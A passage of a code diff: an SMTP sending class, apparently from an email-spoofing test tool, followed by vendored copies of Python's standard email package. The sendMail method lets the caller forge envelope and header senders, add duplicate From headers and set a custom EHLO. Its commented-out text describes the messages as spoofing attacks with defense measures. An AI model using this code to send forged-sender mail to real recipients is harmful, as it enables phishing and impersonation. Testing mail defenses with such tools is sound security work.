self.useSSL = False + self.mailServer = smtplib.SMTP(self.smtpServer, self.smtpPort) + self.mailServer.set_debuglevel(debug_level) + self.usetls = usetls + self.method = 'SMTP' + self.filename = filename + self.mail_init() + + def __del__(self): + try: + self.mailServer.close() + except Exception as e: + logger.warning(e) + logger.warning("mailServer None exist") + + def set_debug_level(self, level): + self.mailServer.set_debuglevel(level) + + def mail_init(self, ehlo=None): + self.mailServer.ehlo(ehlo) + if self.usetls and not self.useSSL: + try: + self.mailServer.starttls() + self.mailServer.ehlo(ehlo) + except Exception as e: + logger.error(e) + logger.error(u"{} This service is not supported with high probability STARTTLS".format(self.smtpServer)) + self.mailServer.login(self.mailUser, self.mailPassword) + + def addTextPart(self, text, text_type): + self.msg.attach(MIMEText(text, text_type)) + + # add email message(MIMETEXT,MIMEIMAGE,MIMEBASE...) + def addPart(self, part): + self.msg.attach(part) + + def sendMail(self, to_email, info=None, subject=None, content=None, mail_from=None, mime_from=None, reply_to=None, + return_path=None, sender=None, ehlo=None, to=None, mime_from1=None, mime_from2=None, image=None, + defense=None, **headers): + """ + :param to_email: + :param info: + :param subject: + :param content: + :param mail_from: + :param mime_from: + :param reply_to: + :param return_path: + :param sender: + :param ehlo: + :param headers: + :return: + """ + self.msg = MIMEMultipart() + if ehlo is not None: + self.mailServer.ehlo(ehlo) + if to is not None: + self.msg['To'] = to + else: + self.msg['To'] = to_email + if not self.msg['To']: + logger.error(u"Please specify MIME TO") + return + if mail_from is None: + mail_from = self.mailUser + if mime_from is None: + mime_from = mail_from + # if mime_from != 'NULL': + # self.msg['From'] = mime_from + if mime_from1: + self.msg['From'] = mime_from1 + self.msg.add_header('From', mime_from) + elif mime_from2: + self.msg['From'] = mime_from + self.msg.add_header('From', mime_from2) + else: + self.msg['From'] = mime_from + # else: + # try: + # mime_from = headers['From'] + # except Exception as e: + # logger.error(e) + # mime_from = 'NULL' + for h in headers: + self.msg.add_header(str(h), str(headers[h])) + if info is None: + info = u"normal test" + if subject is None: + subject = "[{} {}] {} --> {}".format(self.method, info, mime_from, to_email) + self.msg['Subject'] = "{}".format(subject) + # 自定义头部 + if reply_to is not None: + self.msg['Reply'] = reply_to + if sender is not None: + self.msg['Sender'] = sender + # if content is None: + # content = "-" * 100 + "\r\n" + # content += """If you see this email, it means that you may be affected by email spoofing attacks.\n""" + # content += """This email uses '{}' to attack.""".format(info) + # content = """[{method} {info}] {mime_from} --> {to_email} \r\n""".format(method=self.method, + # mime_from=mime_from, + # to_email=to_email, info=info) + # if defense: + # content += '\r\n' + '-' * 100 + '\r\n' + # content += '''Defense measures: {defense}\n'''.format(defense=defense) + # content += "-" * 100 + "\r\n" + # content += """Email headers information:\r\nEnvelope.From: {mail_from}\nMIME.From: {mime_from}\nSender: {sender}\nReturn path: {return_path}""".format( + # mail_from=mail_from, sender=sender, return_path=return_path, mime_from=mime_from) + mime_headers = self.msg.as_string() + index = mime_headers.find("--=======") + mime_headers = mime_headers[:index].strip() + mime_headers = """MAIL From: {mail_from}\n""".format(mail_from=mail_from) + mime_headers + mime_headers = mime_headers.replace("\n","\n\n") + mime_headers += "\r\n\r\n" + "-" * 100 + "\r\n" + content += mime_headers + # logger.debug(mime_headers) + + _attach = MIMEText(content) + # _attach = MIMEText(content, 'html', 'utf-8') + self.msg.attach(_attach) + if image: + fp = open("./uploads/" + image, 'rb') + images = MIMEImage(fp.read()) + fp.close() + images.add_header('Content-ID', '') + self.msg.attach(images) + if self.filename: + att1 = MIMEText(open('./uploads/' + self.filename, 'rb').read(), 'base64', 'utf-8') + att1["Content-Type"] = 'application/octet-stream' + att1["Content-Disposition"] = 'attachment; filename="{}"'.format(self.filename) + self.msg.attach(att1) + # logger.debug("-" * 50) + # logger.debug(self.msg.as_string()) + # logger.debug("-" * 50) + self.mailServer.sendmail(mail_from, to_email, self.msg.as_string()) + # logger.debug('Sent email to %s' % self.msg['To']) + + +class ReceiveMailDealer: + def __init__(self, username, password, server): + self.mail = imaplib.IMAP4_SSL(server) + self.mail.login(username, password) diff --git a/email/__init__.py b/email/__init__.py new file mode 100755 index 0000000..fae8724 --- /dev/null +++ b/email/__init__.py @@ -0,0 +1,62 @@ +# Copyright (C) 2001-2007 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""A package for parsing, handling, and generating email messages.""" + +__all__ = [ + 'base64mime', + 'charset', + 'encoders', + 'errors', + 'feedparser', + 'generator', + 'header', + 'iterators', + 'message', + 'message_from_file', + 'message_from_binary_file', + 'message_from_string', + 'message_from_bytes', + 'mime', + 'parser', + 'quoprimime', + 'utils', + ] + + + +# Some convenience routines. Don't import Parser and Message as side-effects +# of importing email since those cascadingly import most of the rest of the +# email package. +def message_from_string(s, *args, **kws): + """Parse a string into a Message object model. + + Optional _class and strict are passed to the Parser constructor. + """ + from email.parser import Parser + return Parser(*args, **kws).parsestr(s) + +def message_from_bytes(s, *args, **kws): + """Parse a bytes string into a Message object model. + + Optional _class and strict are passed to the Parser constructor. + """ + from email.parser import BytesParser + return BytesParser(*args, **kws).parsebytes(s) + +def message_from_file(fp, *args, **kws): + """Read a file and parse its contents into a Message object model. + + Optional _class and strict are passed to the Parser constructor. + """ + from email.parser import Parser + return Parser(*args, **kws).parse(fp) + +def message_from_binary_file(fp, *args, **kws): + """Read a binary file and parse its contents into a Message object model. + + Optional _class and strict are passed to the Parser constructor. + """ + from email.parser import BytesParser + return BytesParser(*args, **kws).parse(fp) diff --git a/email/_encoded_words.py b/email/_encoded_words.py new file mode 100755 index 0000000..5eaab36 --- /dev/null +++ b/email/_encoded_words.py @@ -0,0 +1,221 @@ +""" Routines for manipulating RFC2047 encoded words. + +This is currently a package-private API, but will be considered for promotion +to a public API if there is demand. + +""" + +# An ecoded word looks like this: +# +# =?charset[*lang]?cte?encoded_string?= +# +# for more information about charset see the charset module. Here it is one +# of the preferred MIME charset names (hopefully; you never know when parsing). +# cte (Content Transfer Encoding) is either 'q' or 'b' (ignoring case). In +# theory other letters could be used for other encodings, but in practice this +# (almost?) never happens. There could be a public API for adding entries +# to the CTE tables, but YAGNI for now. 'q' is Quoted Printable, 'b' is +# Base64. The meaning of encoded_string should be obvious. 'lang' is optional +# as indicated by the brackets (they are not part of the syntax) but is almost +# never encountered in practice. +# +# The general interface for a CTE decoder is that it takes the encoded_string +# as its argument, and returns a tuple (cte_decoded_string, defects). The +# cte_decoded_string is the original binary that was encoded using the +# specified cte. 'defects' is a list of MessageDefect instances indicating any +# problems encountered during conversion. 'charset' and 'lang' are the +# corresponding strings extracted from the EW, case preserved. +# +# The general interface for a CTE encoder is that it takes a binary sequence +# as input and returns the cte_encoded_string, which is an ascii-only string. +# +# Each decoder must also supply a length function that takes the binary +# sequence as its argument and returns the length of the resulting encoded +# string. +# +# The main API functions for the module are decode, which calls the decoder +# referenced by the cte specifier, and encode, which adds the appropriate +# RFC 2047 "chrome" to the encoded string, and can optionally automatically +# select the shortest possible encoding. See their docstrings below for +# details. + +import re +import base64 +import binascii +import functools +from string import ascii_letters, digits +from email import errors + +__all__ = ['decode_q', + 'encode_q', + 'decode_b', + 'encode_b', + 'len_q', + 'len_b', + 'decode', + 'encode', + ] + +# +# Quoted Printable +# + +# regex based decoder. +_q_byte_subber = functools.partial(re.compile(br'=([a-fA-F0-9]{2})').sub, + lambda m: bytes([int(m.group(1), 16)])) + +def decode_q(encoded): + encoded = encoded.replace(b'_', b' ') + return _q_byte_subber(encoded), [] + + +# dict mapping bytes to their encoded form +class _QByteMap(dict): + + safe = b'-!*+/' + ascii_letters.encode('ascii') + digits.encode('ascii') + + def __missing__(self, key): + if key in self.safe: + self[key] = chr(key) + else: + self[key] = "={:02X}".format(key) + return self[key] + +_q_byte_map = _QByteMap() + +# In headers spaces are mapped to '_'. +_q_byte_map[ord(' ')] = '_' + +def encode_q(bstring): + return ''.join(_q_byte_map[x] for x in bstring) + +def len_q(bstring): + return sum(len(_q_byte_map[x]) for x in bstring) + + +# +# Base64 +# + +def decode_b(encoded): + defects = [] + pad_err = len(encoded) % 4 + if pad_err: + defects.append(errors.InvalidBase64PaddingDefect()) + padded_encoded = encoded + b'==='[:4-pad_err] + else: + padded_encoded = encoded + try: + return base64.b64decode(padded_encoded, validate=True), defects + except binascii.Error: + # Since we had correct padding, this must an invalid char error. + defects = [errors.InvalidBase64CharactersDefect()] + # The non-alphabet characters are ignored as far as padding + # goes, but we don't know how many there are. So we'll just + # try various padding lengths until something works. + for i in 0, 1, 2, 3: + try: + return base64.b64decode(encoded+b'='*i, validate=False), defects + except binascii.Error: + if i==0: + defects.append(errors.InvalidBase64PaddingDefect()) + else: + # This should never happen. + raise AssertionError("unexpected binascii.Error") + +def encode_b(bstring): + return base64.b64encode(bstring).decode('ascii') + +def len_b(bstring): + groups_of_3, leftover = divmod(len(bstring), 3) + # 4 bytes out for each 3 bytes (or nonzero fraction thereof) in. + return groups_of_3 * 4 + (4 if leftover else 0) + + +_cte_decoders = { + 'q': decode_q, + 'b': decode_b, + } + +def decode(ew): + """Decode encoded word and return (string, charset, lang, defects) tuple. + + An RFC 2047/2243 encoded word has the form: + + =?charset*lang?cte?encoded_string?= + + where '*lang' may be omitted but the other parts may not be. + + This function expects exactly such a string (that is, it does not check the + syntax and may raise errors if the string is not well formed), and returns + the encoded_string decoded first from its Content Transfer Encoding and + then from the resulting bytes into unicode using the specified charset. If + the cte-decoded string does not successfully decode using the specified + character set, a defect is added to the defects list and the unknown octets + are replaced by the unicode 'unknown' character \\uFDFF. + + The specified charset and language are returned. The default for language, + which is rarely if ever encountered, is the empty string. + + """ + _, charset, cte, cte_string, _ = ew.split('?') + charset, _, lang = charset.partition('*') + cte = cte.lower() + # Recover the original bytes and do CTE decoding. + bstring = cte_string.encode('ascii', 'surrogateescape') + bstring, defects = _cte_decoders[cte](bstring) + # Turn the CTE decoded bytes into unicode. + try: + string = bstring.decode(charset) + except UnicodeError: + defects.append(errors.UndecodableBytesDefect("Encoded word " + "contains bytes not decodable using {} charset".format(charset))) + string = bstring.decode(charset, 'surrogateescape') + except LookupError: + string = bstring.decode('ascii', 'surrogateescape') + if charset.lower() != 'unknown-8bit': + defects.append(errors.CharsetError("Unknown charset {} " + "in encoded word; decoded as unknown bytes".format(charset))) + return string, charset, lang, defects + + +_cte_encoders = { + 'q': encode_q, + 'b': encode_b, + } + +_cte_encode_length = { + 'q': len_q, + 'b': len_b, + } + +def encode(string, charset='utf-8', encoding=None, lang=''): + """Encode string using the CTE encoding that produces the shorter result. + + Produces an RFC 2047/2243 encoded word of the form: + + =?charset*lang?cte?encoded_string?= + + where '*lang' is omitted unless the 'lang' parameter is given a value. + Optional argument charset (defaults to utf-8) specifies the charset to use + to encode the string to binary before CTE encoding it. Optional argument + 'encoding' is the cte specifier for the encoding that should be used ('q' + or 'b'); if it is None (the default) the encoding which produces the + shortest encoded sequence is used, except that 'q' is preferred if it is up + to five characters longer. Optional argument 'lang' (default '') gives the + RFC 2243 language string to specify in the encoded word. + + """ + if charset == 'unknown-8bit': + bstring = string.encode('ascii', 'surrogateescape') + else: + bstring = string.encode(charset) + if encoding is None: + qlen = _cte_encode_length['q'](bstring) + blen = _cte_encode_length['b'](bstring) + # Bias toward q. 5 is arbitrary. + encoding = 'q' if qlen - blen < 5 else 'b' + encoded = _cte_encoders[encoding](bstring) + if lang: + lang = '*' + lang + return "=?{}{}?{}?{}?=".format(charset, lang, encoding, encoded) diff --git a/email/_header_value_parser.py b/email/_header_value_parser.py new file mode 100755 index 0000000..14ffd30 --- /dev/null +++ b/email/_header_value_parser.py @@ -0,0 +1,2817 @@ +"""Header value parser implementing various email-related RFC parsing rules. + +The parsing methods defined in this module implement various email related +parsing rules. Principal among them is RFC 5322, which is the followon +to RFC 2822 and primarily a clarification of the former. It also implements +RFC 2047 encoded word decoding. + +RFC 5322 goes to considerable trouble to maintain backward compatibility with +RFC 822 in the parse phase, while cleaning up the structure on the generation +phase. This parser supports correct RFC 5322 generation by tagging white space +as folding white space only when folding is allowed in the non-obsolete rule +sets. Actually, the parser is even more generous when accepting input than RFC +5322 mandates, following the spirit of Postel's Law, which RFC 5322 encourages. +Where possible deviations from the standard are annotated on the 'defects' +attribute of tokens that deviate. + +The general structure of the parser follows RFC 5322, and uses its terminology +where there is a direct correspondence. Where the implementation requires a +somewhat different structure than that used by the formal grammar, new terms +that mimic the closest existing terms are used. Thus, it really helps to have +a copy of RFC 5322 handy when studying this code. + +Input to the parser is a string that has already been unfolded according to +RFC 5322 rules. According to the RFC this unfolding is the very first step, and +this parser leaves the unfolding step to a higher level message parser, which +will have already detected the line breaks that need unfolding while +determining the beginning and end of each header. + +The output of the parser is a TokenList object, which is a list subclass. A +TokenList is a recursive data structure. The terminal nodes of the structure +are Terminal objects, which are subclasses of str. These do not correspond +directly to terminal objects in the formal grammar, but are instead more +practical higher level combinations of true terminals. + +All TokenList and Terminal objects have a 'value' attribute, which produces the +semantically meaningful value of that part of the parse subtree. The value of +all whitespace tokens (no matter how many sub-tokens they may contain) is a +single space, as per the RFC rules. This includes 'CFWS', which is herein +included in the general class of whitespace tokens. There is one exception to +the rule that whitespace tokens are collapsed into single spaces in values: in +the value of a 'bare-quoted-string' (a quoted-string with no leading or +trailing whitespace), any whitespace that appeared between the quotation marks +is preserved in the returned value. Note that in all Terminal strings quoted +pairs are turned into their unquoted values. + +All TokenList and Terminal objects also have a string value, which attempts to +be a "canonical" representation of the RFC-compliant form of the substring that +produced the parsed subtree, including minimal use of quoted pair quoting. +Whitespace runs are not collapsed. + +Comment tokens also have a 'content' attribute providing the string found +between the parens (including any nested comments) with whitespace preserved. + +All TokenList and Terminal objects have a 'defects' attribute which is a +possibly empty list all of the defects found while creating the token. Defects +may appear on any token in the tree, and a composite list of all defects in the +subtree is available through the 'all_defects' attribute of any node. (For +Terminal notes x.defects == x.all_defects.) + +Each object in a parse tree is called a 'token', and each has a 'token_type' +attribute that gives the name from the RFC 5322 grammar that it represents. +Not all RFC 5322 nodes are produced, and there is one non-RFC 5322 node that +may be produced: 'ptext'. A 'ptext' is a string of printable ascii characters. +It is returned in place of lists of (ctext/quoted-pair) and +(qtext/quoted-pair). + +XXX: provide complete list of token types. +""" + +import re +import urllib # For urllib.parse.unquote +from string import hexdigits +from collections import OrderedDict +from operator import itemgetter +from email import _encoded_words as _ew +from email import errors +from email import utils + +# +# Useful constants and functions +# + +WSP = set(' \t') +CFWS_LEADER = WSP | set('(') +SPECIALS = set(r'()<>@,:;.\"[]') +ATOM_ENDS = SPECIALS | WSP +DOT_ATOM_ENDS = ATOM_ENDS - set('.') +# '.', '"', and '(' do not end phrases in order to support obs-phrase +PHRASE_ENDS = SPECIALS - set('."(') +TSPECIALS = (SPECIALS | set('/?=')) - set('.') +TOKEN_ENDS = TSPECIALS | WSP +ASPECIALS = TSPECIALS | set("*'%") +ATTRIBUTE_ENDS = ASPECIALS | WSP +EXTENDED_ATTRIBUTE_ENDS = ATTRIBUTE_ENDS - set('%') + +def quote_string(value): + return '"'+str(value).replace('\\', '\\\\').replace('"', r'\"')+'"' + +# +# TokenList and its subclasses +# + +class TokenList(list): + + token_type = None + syntactic_break = True + ew_combine_allowed = True + + def __init__(self, *args, **kw): + super().__init__(*args, **kw) + self.defects = [] + + def __str__(self): + return ''.join(str(x) for x in self) + + def __repr__(self): + return '{}({})'.format(self.__class__.__name__, + super().__repr__()) + + @property + def value(self): + return ''.join(x.value for x in self if x.value) + + @property + def all_defects(self): + return sum((x.all_defects for x in self), self.defects) + + def startswith_fws(self): + return self[0].startswith_fws() + + @property + def as_ew_allowed(self): + """True if all top level tokens of this part may be RFC2047 encoded.""" + return all(part.as_ew_allowed for part in self) + + @property + def comments(self): + comments = [] + for token in self: + comments.extend(token.comments) + return comments + + def fold(self, *, policy): + return _refold_parse_tree(self, policy=policy) + + def pprint(self, indent=''): + print(self.ppstr(indent=indent)) + + def ppstr(self, indent=''): + return '\n'.join(self._pp(indent=indent)) + + def _pp(self, indent=''): + yield '{}{}/{}('.format( + indent, + self.__class__.__name__, + self.token_type) + for token in self: + if not hasattr(token, '_pp'): + yield (indent + ' !! invalid element in token ' + 'list: {!r}'.format(token)) + else: + yield from token._pp(indent+' ') + if self.defects: + extra = ' Defects: {}'.format(self.defects) + else: + extra = '' + yield '{}){}'.format(indent, extra) + + +class WhiteSpaceTokenList(TokenList): + + @property + def value(self): + return ' ' + + @property + def comments(self): + return [x.content for x in self if x.token_type=='comment'] + + +class UnstructuredTokenList(TokenList): + + token_type = 'unstructured' + + +class Phrase(TokenList): + + token_type = 'phrase' + +class Word(TokenList): + + token_type = 'word' + + +class CFWSList(WhiteSpaceTokenList): + + token_type = 'cfws' + + +class Atom(TokenList): + + token_type = 'atom' + + +class Token(TokenList): + + token_type = 'token' + encode_as_ew = False + + +class EncodedWord(TokenList): + + token_type = 'encoded-word' + cte = None + charset = None + lang = None + + +class QuotedString(TokenList): + + token_type = 'quoted-string' + + @property + def content(self): + for x in self: + if x.token_type == 'bare-quoted-string': + return x.value + + @property + def quoted_value(self): + res = [] + for x in self: + if x.token_type == 'bare-quoted-string': + res.append(str(x)) + else: + res.append(x.value) + return ''.join(res) + + @property + def stripped_value(self): + for token in self: + if token.token_type == 'bare-quoted-string': + return token.value + + +class BareQuotedString(QuotedString): + + token_type = 'bare-quoted-string' + + def __str__(self): + return quote_string(''.join(str(x) for x in self)) + + @property + def value(self): + return ''.join(str(x) for x in self) + + +class Comment(WhiteSpaceTokenList): + + token_type = 'comment' + + def __str__(self): + return ''.join(sum([ + ["("], + [self.quote(x) for x in self], + [")"], + ], [])) + + def quote(self, value): + if value.token_type == 'comment': + return str(value) + return str(value).replace('\\', '\\\\').replace( + '(', r'\(').replace( + ')', r'\)') + + @property + def content(self): + return ''.join(str(x) for x in self) + + @property + def comments(self): + return [self.content] + +class AddressList(TokenList): + + token_type = 'address-list' + + @property + def addresses(self): + return [x for x in self if x.token_type=='address'] + + @property + def mailboxes(self): + return sum((x.mailboxes + for x in self if x.token_type=='address'), []) + + @property + def all_mailboxes(self): + return sum((x.all_mailboxes + for x in self if x.token_type=='address'), []) + + +class Address(TokenList): + + token_type = 'address' + + @property + def display_name(self): + if self[0].token_type == 'group': + return self[0].display_name + + @property + def mailboxes(self): + if self[0].token_type == 'mailbox': + return [self[0]] + elif self[0].token_type == 'invalid-mailbox': + return [] + return self[0].mailboxes + + @property + def all_mailboxes(self): + if self[0].token_type == 'mailbox': + return [self[0]] + elif self[0].token_type == 'invalid-mailbox': + return [self[0]] + return self[0].all_mailboxes + +class MailboxList(TokenList): + + token_type = 'mailbox-list' + + @property + def mailboxes(self): + return [x for x in self if x.token_type=='mailbox'] + + @property + def all_mailboxes(self): + return [x for x in self + if x.token_type in ('mailbox', 'invalid-mailbox')] + + +class GroupList(TokenList): + + token_type = 'group-list' + + @property + def mailboxes(self): + if not self or self[0].token_type != 'mailbox-list': + return [] + return self[0].mailboxes + + @property + def all_mailboxes(self): + if not self or self[0].token_type != 'mailbox-list': + return [] + return self[0].all_mailboxes + + +class Group(TokenList): + + token_type = "group" + + @property + def mailboxes(self): + if self[2].token_type != 'group-list': + return [] + return self[2].mailboxes + + @property + def all_mailboxes(self): + if self[2].token_type != 'group-list': + return [] + return self[2].all_mailboxes + + @property + def display_name(self): + return self[0].display_name + + +class NameAddr(TokenList): + + token_type = 'name-addr' + + @property + def display_name(self): + if len(self) == 1: + return None + return self[0].display_name + + @property + def local_part(self): + return self[-1].local_part + + @property + def domain(self): + return self[-1].domain + + @property + def route(self): + return self[-1].route + + @property + def addr_spec(self): + return self[-1].addr_spec + + +class AngleAddr(TokenList): + + token_type = 'angle-addr' + + @property + def local_part(self): + for x in self: + if x.token_type == 'addr-spec': + return x.local_part + + @property + def domain(self): + for x in self: + if x.token_type == 'addr-spec': + return x.domain + + @property + def route(self): + for x in self: + if x.token_type == 'obs-route': + return x.domains + + @property + def addr_spec(self): + for x in self: + if x.token_type == 'addr-spec': + if x.local_part: + return x.addr_spec + else: + return quote_string(x.local_part) + x.addr_spec + else: + return '<>' + + +class ObsRoute(TokenList): + + token_type = 'obs-route' + + @property + def domains(self): + return [x.domain for x in self if x.token_type == 'domain'] + + +class Mailbox(TokenList): + + token_type = 'mailbox' + + @property + def display_name(self): + if self[0].token_type == 'name-addr': + return self[0].display_name + + @property + def local_part(self): + return self[0].local_part + + @property + def domain(self): + return self[0].domain + + @property + def route(self): + if self[0].token_type == 'name-addr': + return self[0].route + + @property + def addr_spec(self): + return self[0].addr_spec + + +class InvalidMailbox(TokenList): + + token_type = 'invalid-mailbox' + + @property + def display_name(self): + return None + + local_part = domain = route = addr_spec = display_name + + +class Domain(TokenList): + + token_type = 'domain' + as_ew_allowed = False + + @property + def domain(self): + return ''.join(super().value.split()) + + +class DotAtom(TokenList): + + token_type = 'dot-atom' + + +class DotAtomText(TokenList): + + token_type = 'dot-atom-text' + as_ew_allowed = True + + +class AddrSpec(TokenList): + + token_type = 'addr-spec' + as_ew_allowed = False + + @property + def local_part(self): + return self[0].local_part + + @property + def domain(self): + if len(self) < 3: + return None + return self[-1].domain + + @property + def value(self): + if len(self) < 3: + return self[0].value + return self[0].value.rstrip()+self[1].value+self[2].value.lstrip() + + @property + def addr_spec(self): + nameset = set(self.local_part) + if len(nameset) > len(nameset-DOT_ATOM_ENDS): + lp = quote_string(self.local_part) + else: + lp = self.local_part + if self.domain is not None: + return lp + '@' + self.domain + return lp + + +class ObsLocalPart(TokenList): + + token_type = 'obs-local-part' + as_ew_allowed = False + + +class DisplayName(Phrase): + + token_type = 'display-name' + ew_combine_allowed = False + + @property + def display_name(self): + res = TokenList(self) + if res[0].token_type == 'cfws': + res.pop(0) + else: + if res[0][0].token_type == 'cfws': + res[0] = TokenList(res[0][1:]) + if res[-1].token_type == 'cfws': + res.pop() + else: + if res[-1][-1].token_type == 'cfws': + res[-1] = TokenList(res[-1][:-1]) + return res.value + + @property + def value(self): + quote = False + if self.defects: + quote = True + else: + for x in self: + if x.token_type == 'quoted-string': + quote = True + if quote: + pre = post = '' + if self[0].token_type=='cfws' or self[0][0].token_type=='cfws': + pre = ' ' + if self[-1].token_type=='cfws' or self[-1][-1].token_type=='cfws': + post = ' ' + return pre+quote_string(self.display_name)+post + else: + return super().value + + +class LocalPart(TokenList): + + token_type = 'local-part' + as_ew_allowed = False + + @property + def value(self): + if self[0].token_type == "quoted-string": + return self[0].quoted_value + else: + return self[0].value + + @property + def local_part(self): + # Strip whitespace from front, back, and around dots. + res = [DOT] + last = DOT + last_is_tl = False + for tok in self[0] + [DOT]: + if tok.token_type == 'cfws': + continue + if (last_is_tl and tok.token_type == 'dot' and + last[-1].token_type == 'cfws'): + res[-1] = TokenList(last[:-1]) + is_tl = isinstance(tok, TokenList) + if (is_tl and last.token_type == 'dot' and + tok[0].token_type == 'cfws'): + res.append(TokenList(tok[1:])) + else: + res.append(tok) + last = res[-1] + last_is_tl = is_tl + res = TokenList(res[1:-1]) + return res.value + + +class DomainLiteral(TokenList): + + token_type = 'domain-literal' + as_ew_allowed = False + + @property + def domain(self): + return ''.join(super().value.split()) + + @property + def ip(self): + for x in self: + if x.token_type == 'ptext': + return x.value + + +class MIMEVersion(TokenList): + + token_type = 'mime-version' + major = None + minor = None + + +class Parameter(TokenList): + + token_type = 'parameter' + sectioned = False + extended = False + charset = 'us-ascii' + + @property + def section_number(self): + # Because the first token, the attribute (name) eats CFWS, the second + # token is always the section if there is one. + return self[1].number if self.sectioned else 0 + + @property + def param_value(self): + # This is part of the "handle quoted extended parameters" hack. + for token in self: + if token.token_type == 'value': + return token.stripped_value + if token.token_type == 'quoted-string': + for token in token: + if token.token_type == 'bare-quoted-string': + for token in token: + if token.token_type == 'value': + return token.stripped_value + return '' + + +class InvalidParameter(Parameter): + + token_type = 'invalid-parameter' + + +class Attribute(TokenList): + + token_type = 'attribute' + + @property + def stripped_value(self): + for token in self: + if token.token_type.endswith('attrtext'): + return token.value + +class Section(TokenList): + + token_type = 'section' + number = None + + +class Value(TokenList): + + token_type = 'value' + + @property + def stripped_value(self): + token = self[0] + if token.token_type == 'cfws': + token = self[1] + if token.token_type.endswith( + ('quoted-string', 'attribute', 'extended-attribute')): + return token.stripped_value + return self.value + + +class MimeParameters(TokenList): + + token_type = 'mime-parameters' + syntactic_break = False + + @property + def params(self): + # The RFC specifically states that the ordering of parameters is not + # guaranteed and may be reordered by the transport layer. So we have + # to assume the RFC 2231 pieces can come in any order. However, we + # output them in the order that we first see a given name, which gives + # us a stable __str__. + params = OrderedDict() + for token in self: + if not token.token_type.endswith('parameter'): + continue + if token[0].token_type != 'attribute': + continue + name = token[0].value.strip() + if name not in params: + params[name] = [] + params[name].append((token.section_number, token)) + for name, parts in params.items(): + parts = sorted(parts, key=itemgetter(0)) + first_param = parts[0][1] + charset = first_param.charset + # Our arbitrary error recovery is to ignore duplicate parameters, + # to use appearance order if there are duplicate rfc 2231 parts, + # and to ignore gaps. This mimics the error recovery of get_param. + if not first_param.extended and len(parts) > 1: + if parts[1][0] == 0: + parts[1][1].defects.append(errors.InvalidHeaderDefect( + 'duplicate parameter name; duplicate(s) ignored')) + parts = parts[:1] + # Else assume the *0* was missing...note that this is different + # from get_param, but we registered a defect for this earlier. + value_parts = [] + i = 0 + for section_number, param in parts: + if section_number != i: + # We could get fancier here and look for a complete + # duplicate extended parameter and ignore the second one + # seen. But we're not doing that. The old code didn't. + if not param.extended: + param.defects.append(errors.InvalidHeaderDefect( + 'duplicate parameter name; duplicate ignored')) + continue + else: + param.defects.append(errors.InvalidHeaderDefect( + "inconsistent RFC2231 parameter numbering")) + i += 1 + value = param.param_value + if param.extended: + try: + value = urllib.parse.unquote_to_bytes(value) + except UnicodeEncodeError: + # source had surrogate escaped bytes. What we do now + # is a bit of an open question. I'm not sure this is + # the best choice, but it is what the old algorithm did + value = urllib.parse.unquote(value, encoding='latin-1') + else: + try: + value = value.decode(charset, 'surrogateescape') + except LookupError: + # XXX: there should really be a custom defect for + # unknown character set to make it easy to find, + # because otherwise unknown charset is a silent + # failure. + value = value.decode('us-ascii', 'surrogateescape') + if utils._has_surrogates(value): + param.defects.append(errors.UndecodableBytesDefect()) + value_parts.append(value) + value = ''.join(value_parts) + yield name, value + + def __str__(self): + params = [] + for name, value in self.params: + if value: + params.append('{}={}'.format(name, quote_string(value))) + else: + params.append(name) + params = '; '.join(params) + return ' ' + params if params else '' + + +class ParameterizedHeaderValue(TokenList): + + # Set this false so that the value doesn't wind up on a new line even + # if it and the parameters would fit there but not on the first line. + syntactic_break = False + + @property + def params(self): + for token in reversed(self): + if token.token_type == 'mime-parameters': + return token.params + return {} + + +class ContentType(ParameterizedHeaderValue): + + token_type = 'content-type' + as_ew_allowed = False + maintype = 'text' + subtype = 'plain' + + +class ContentDisposition(ParameterizedHeaderValue): + + token_type = 'content-disposition' + as_ew_allowed = False + content_disposition = None + + +class ContentTransferEncoding(TokenList): + + token_type = 'content-transfer-encoding' + as_ew_allowed = False + cte = '7bit' + + +class HeaderLabel(TokenList): + + token_type = 'header-label' + as_ew_allowed = False + + +class Header(TokenList): + + token_type = 'header' + + +# +# Terminal classes and instances +# + +class Terminal(str): + + as_ew_allowed = True + ew_combine_allowed = True + syntactic_break = True + + def __new__(cls, value, token_type): + self = super().__new__(cls, value) + self.token_type = token_type + self.defects = [] + return self + + def __repr__(self): + return "{}({})".format(self.__class__.__name__, super().__repr__()) + + def pprint(self): + print(self.__class__.__name__ + '/' + self.token_type) + + @property + def all_defects(self): + return list(self.defects) + + def _pp(self, indent=''): + return ["{}{}/{}({}){}".format( + indent, + self.__class__.__name__, + self.token_type, + super().__repr__(), + '' if not self.defects else ' {}'.format(self.defects), + )] + + def pop_trailing_ws(self): + # This terminates the recursion. + return None + + @property + def comments(self): + return [] + + def __getnewargs__(self): + return(str(self), self.token_type) + + +class WhiteSpaceTerminal(Terminal): + + @property + def value(self): + return ' ' + + def startswith_fws(self): + return True + + +class ValueTerminal(Terminal): + + @property + def value(self): + return self + + def startswith_fws(self): + return False + + +class EWWhiteSpaceTerminal(WhiteSpaceTerminal): + + @property + def value(self): + return '' + + def __str__(self): + return '' + + +# XXX these need to become classes and used as instances so +# that a program can't change them in a parse tree and screw +# up other parse trees. Maybe should have tests for that, too. +DOT = ValueTerminal('.', 'dot') +ListSeparator = ValueTerminal(',', 'list-separator') +RouteComponentMarker = ValueTerminal('@', 'route-component-marker') + +# +# Parser +# + +# Parse strings according to RFC822/2047/2822/5322 rules. +# +# This is a stateless parser. Each get_XXX function accepts a string and +# returns either a Terminal or a TokenList representing the RFC object named +# by the method and a string containing the remaining unparsed characters +# from the input. Thus a parser method consumes the next syntactic construct +# of a given type and returns a token representing the construct plus the +# unparsed remainder of the input string. +# +# For example, if the first element of a structured header is a 'phrase', +# then: +# +# phrase, value = get_phrase(value) +# +# returns the complete phrase from the start of the string value, plus any +# characters left in the string after the phrase is removed. + +_wsp_splitter = re.compile(r'([{}]+)'.format(''.join(WSP))).split +_non_atom_end_matcher = re.compile(r"[^{}]+".format( + ''.join(ATOM_ENDS).replace('\\','\\\\').replace(']',r'\]'))).match +_non_printable_finder = re.compile(r"[\x00-\x20\x7F]").findall +_non_token_end_matcher = re.compile(r"[^{}]+".format( + ''.join(TOKEN_ENDS).replace('\\','\\\\').replace(']',r'\]'))).match +_non_attribute_end_matcher = re.compile(r"[^{}]+".format( + ''.join(ATTRIBUTE_ENDS).replace('\\','\\\\').replace(']',r'\]'))).match +_non_extended_attribute_end_matcher = re.compile(r"[^{}]+".format( + ''.join(EXTENDED_ATTRIBUTE_ENDS).replace( + '\\','\\\\').replace(']',r'\]'))).match + +def _validate_xtext(xtext): + """If input token contains ASCII non-printables, register a defect.""" 